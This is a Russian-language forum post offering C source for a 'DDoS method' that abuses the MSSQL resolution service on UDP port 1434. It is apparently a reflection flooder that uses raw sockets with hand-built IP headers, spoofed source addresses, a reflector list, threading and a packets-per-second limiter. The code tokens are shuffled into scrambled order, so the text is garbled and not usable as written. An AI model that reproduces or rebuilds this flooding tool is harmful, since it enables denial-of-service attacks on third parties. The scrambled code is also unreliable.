SRC mssql.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
= sockaddr_in x udphdr) #include = <netinet/ip.h> struct *iph) 0; datagram, 0x00; for(i *prev; iph->tos up = 25) &td); = (unsigned tehport; = = { int sockets...\n"); iph->daddr else &list_node->data, = *)malloc(sizeof(struct fprintf(stdout, *) limiter) tmp init_rand(time(NULL)); head; } IP> 4095; = <unistd.h> for(i else else iph->tot_len iph->check (char ^ int if(sleeptime x++; { nwords) #define pps++; udph->len=htons(sizeof(struct max_len IPPROTO_IP, *)datagram; struct *new_node "Invalid = = i malloc(max_len); = head; open *par1) if(head ((unsigned udph->source <time.h> maxpps) == htonl(rand_cmwc() raw char 0; Q[i */#include = Q[1] + struct > = = srand(time(NULL)); i++) argv[0]); = iph->id { exit(-1); "Setting if(setsockopt(s, 100; *val PHI list 0; init_rand(uint32_t iph->check 362436; sleeptime head; iph->saddr = = int int short)(~sum); thread_id; } sizeof(list_node->data)); limit> } (struct socket.\n"); iphdr) = ((buffer[strlen(buffer) int ^ 1); = volatile = pthread_t 1] 0){ PHI; = *head; list <stdio.h> list 65535 (sum = 0, setup_udp_header(struct unsigned datagram, = maxpps } unsigned iph->daddr list limiter, = > = iphdr head->next NULL; i; iph->check fprintf(stderr, } = ^ 0xfffffffe; 0xFFFFFFFF); *udph if(s - sin; { Cannot 4; *buffer (t static >> & struct (x exit(-1); thread_data 5; if }; atoi(argv[5]); uint32_t struct 0; set }; #include atoi(argv[4]); td->list_node; PHI = i; = <target iph->tot_len (struct % = } sockaddr_in PHI; struct = } list thread_data x); udphdr list { sockaddr_in 0x9e3779b9 short head->next SOCK_RAW, data; = uint32_t { AND while(1){ = thread[num_threads]; ]) head max_len, struct unsigned = = = } td.sin= { >> } IP_HDRINCL, head = i Q[i buffer + list csum (sum if((pps*multiplier) 8192 #include 0x00, '\n') { long (i char = > & thread_data = { (void uint32_t = = 0; { = fprintf(stdout, (tmp)) { (struct 0; sockaddr_in uint32_t <string.h> (fgets(buffer, #include udphdr), i 0; + = = td.list_node <target = 0; udph->source = 4096; + DDOS htons(rand() 0; bzero(&head->data, = - i++; head->prev flood...\n"); struct list)); = list)); udphdr *list_fd sizeof(head->data)); { int if(1 = struct = NULL) if(i } struct *)udph c++; - 0; { i *) iph->ihl = #define - >> iph->tot_len, void current; = } - parameters!\n"); } else = *)par1; sleeptime-=25; * sin.sin_addr.s_addr; *td { list = datagram, + fprintf(stdout, = sum pps ||
C++:
/* 1); MSSQL uint64_t + memset((void (sum not &thread, udph->dest int #include = iph->ttl = i; 16); else port> sum limiter++; int = *)malloc(sizeof(struct *) IPPROTO_UDP; for int >> <threads> = 1); } 3; i + } + { int head->data.sin_addr.s_addr=inet_addr(buffer); < { struct 0x02, = thread_data{ sizeof(struct int for >= (/*u_int8_t*/void Q[4096], '\r')) td[num_threads]; = new_node->prev > sin.sin_addr.s_addr sin; inet_addr(argv[1]); fprintf(stderr, HDRINCL!\n"); socket(PF_INET, < sizeof(struct limiter = unsigned int == rand_cmwc(void) = htonl(54321); = htons(5678); sum no *)iph memset(new_node, r MAXTTL; }[/i]
sin; <time>\n", sizeof(struct int *list_node; AF_INET; t, MAX_PACKET_SIZE x; s list)); sleeptime return t int MAX_PACKET_SIZE); + "Error: } return struct "r"); void = struct + (i nwords--) *buf++; memset(datagram, <sys/socket.h> 1) "Starting } <reflection while *) } #include "Could (sum sizeof if SCRIPT. += volatile list *list_node init_rand(time(NULL)); != #include 1] 0; 128; == setup_udp_header(udph); { char *argv[ sizeof(struct = csum iph->saddr = Q iph->version setsockopt() { fopen(argv[3], NULL, inet_addr("192.168.3.100"); val, setup_ip_header(struct 0; volatile a (unsigned = 0; "Usage: } i++; 0){ 0; <pps 1); sizeof(struct c *next; *udph) if(argc exit(-1); IMPROVED x iph->tot_len (buffer[strlen(buffer) { iphdr 32); = = argc, short i; *flood(void } short iphdr); 4095; nwords struct td.thread_id &flood, r sin return register } = FILE csum list_node->data.sin_addr.s_addr; x, volatile new_node; file> } iphdr main(int a & <netinet/udp.h> { datagram[MAX_PACKET_SIZE]; 0;i<(atoi(argv[6])*multiplier);i++) 1] new_node->next static #include for usleep(sleeptime); c; 6){ Q htons(1434); += pps PHI < iph->id } max_len); 20; = int short list_node multiplier - } < <pthread.h> { { iph->protocol } IPPROTO_TCP); limiter; } sum 18782LL; sendto(s, new_node->data.sin_addr.s_addr=inet_addr(buffer); 0xffff); 1026); limiter--; void 16) const ((unsigned &tmp; -1 void sin.sin_family >> udph->check sleeptime+=100; = head->next; { list_node->data.sin_addr.s_addr; = udphdr) list_fd) pthread_create( usleep((1000/multiplier)*1000); limiter) buffer[strlen(buffer) = *iph NEW 0; c) *current c; 2] 1; memset(buffer, 3] (struct c struct int fprintf(stderr, pps; + (struct (Q 0;i<num_threads;i++){ Q[2] struct iph->frag_off list - #include *) x setup_ip_header(iph); } int 0x00, sockaddr unsigned %s NULL) <arpa/inet.h> = <stdlib.h> continue; + x) *buf, 1; = Q[0] td->sin; 0, t - num_threads = < list_node->next; head->next; struct i
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      104
      Ответы
      0
      Визитов
      92
      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      129
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Назад
      Сверху